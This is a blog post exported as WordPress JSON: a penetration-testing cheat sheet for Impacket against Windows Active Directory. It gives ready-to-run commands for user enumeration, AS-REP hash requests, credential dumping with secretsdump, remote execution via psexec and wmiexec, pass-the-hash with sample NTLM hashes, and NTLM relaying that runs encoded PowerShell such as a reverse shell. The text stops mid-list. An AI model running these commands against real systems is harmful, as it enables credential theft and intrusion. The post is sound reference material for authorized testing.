{"id":1222,"date":"2020-04-16T10:50:52","date_gmt":"2020-04-16T08:50:52","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1222"},"modified":"2024-09-08T15:24:51","modified_gmt":"2024-09-08T13:24:51","slug":"impacket","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1222","title":{"rendered":"Impacket"},"content":{"rendered":"\n

See the Impack\u00adet site for a short descrip\u00adtion of all tools.<\/a><\/p>\n\n\n\n

Tip: On Kali, use the com\u00admand impacket-*<\/strong><\/p>\n\n\n\n

Enumeration without authentication<\/h1>\n\n\n\n

Deter\u00admine the sys\u00adtem architecture<\/p>\n\n\n\n

getArch.py -target $target<\/pre>\n\n\n\n
Returns the lis\u00adten\u00ading RPC<\/span> inter\u00adface IDs.<\/p>\n\n\n\n
ifmap.py $target 135
rpcdump.py $target<\/pre>\n\n\n\n
Enumeration with half authentication<\/h1>\n\n\n\n
Sce\u00adnario: You have cre\u00adden\u00adtials for one AD<\/span> user. Then, try to get all users for which Ker\u00adberos preau\u00adthen\u00adti\u00adca\u00adtion is dis\u00adabled. From Kali, use this com\u00admand with the one valid cre\u00adden\u00adtials you have from peter:<\/p>\n\n\n\n
impacket-GetNPUsers -dc-ip $ip  -request dom.ain\/peter<\/pre>\n\n\n\n
If you get hash: Hash\u00adcat<\/a> and mode 18200<\/em>.<\/p>\n\n\n\n
Enumeration with authentication<\/h1>\n\n\n\n
Find (oth\u00ader) users<\/p>\n\n\n\n
lookupsid.py dom\/user:pass@$target
samrdump.py dom\/user:pass@$target<\/pre>\n\n\n\n
Get\u00adting as much cre\u00adden\u00adtials as possible<\/p>\n\n\n\n
secretsdump.py dom\/user:pass@$target<\/pre>\n\n\n\n
Get AD<\/span> users<\/p>\n\n\n\n
GetADUsers.py -dc-ip $target dom\/user:pass<\/pre>\n\n\n\n
Deter\u00admine if a user exists<\/p>\n\n\n\n
rdp_check.py dom\/user:pass@$target<\/pre>\n\n\n\n
rdp_check.py -hashes b40c7060e1bf68227131564a1bf33d48:b40c7060e1bf68227131564a1bf33d48 svcorp.com\/nicky@$target<\/pre>\n\n\n\n
List run\u00adning process\u00ades (see help, more options are pos\u00adsi\u00adble here)<\/p>\n\n\n\n
services.py dom\/user:pass@$target list<\/pre>\n\n\n\n
Code exe\u00adcu\u00adtion<\/p>\n\n\n\n
atexec.py dom\/user:pass@$target systeminfo
psexec.py dom\/user:pass@$target systeminfo
impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@$target<\/pre>\n\n\n\n
Shell like Win\u00adRM, but with dif\u00adfer\u00adent end\u00adpoints; could work even when Win\u00adRM is not activated.<\/p>\n\n\n\n
dcomexec.py dom\/user:pass@$target dir
smbexec.py dom\/user:pass@$target
wmiexec.py dom\/user:pass@$target<\/pre>\n\n\n\n
(See pth-winexe here as well!)<\/p>\n\n\n\n
Track\u00ading ses\u00adsions. This script will remain open and show when ses\u00adsions are cre\u00adat\u00aded or closed.<\/p>\n\n\n\n
netview.py dom\/user:pass -target $target<\/pre>\n\n\n\n
Brows\u00ading through SMB<\/span> share<\/p>\n\n\n\n
smbclient.py dom\/user:pass@$target
smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:6b0e72ee64ea42ca092bd1a7449fa46e Administrator@10.11.1.223
smbclient '\\\\$target\\share' -U user%$HASH --pw-nt-hash<\/pre>\n\n\n\n
Read\u00ading and manip\u00adu\u00adlat\u00ading the registry<\/p>\n\n\n\n
reg.py dom\/user:pass@$target query -keyName HKLM\\\\Software\\\\<\/pre>\n\n\n\n
Relaying NTLMv2 authentication<\/h2>\n\n\n\n
If you con\u00adtrol a user and want to use its cre\u00adden\u00adtials to authen\u00adti\u00adcate against anoth\u00ader system:<\/strong><\/p>\n\n\n\n
    \n
  1. Set up a ntlm\u00adre\u00adlayx with a code to exe\u00adcute on your own sys\u00adtem:
    impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c \"powershell -enc JABjA\u2026\"<\/code>
    The -enc<\/code> part is base64 encod\u00aded Pow\u00ader\u00adShell code; e.g. a reverse shell code.<\/li>\n\n\n\n
  2. Start a lis\u00adten\u00ader (defined in the \u2011enc part)<\/li>\n\n\n\n
  3. Con\u00adnect from the vic\u00adtim via smb, e.g.\n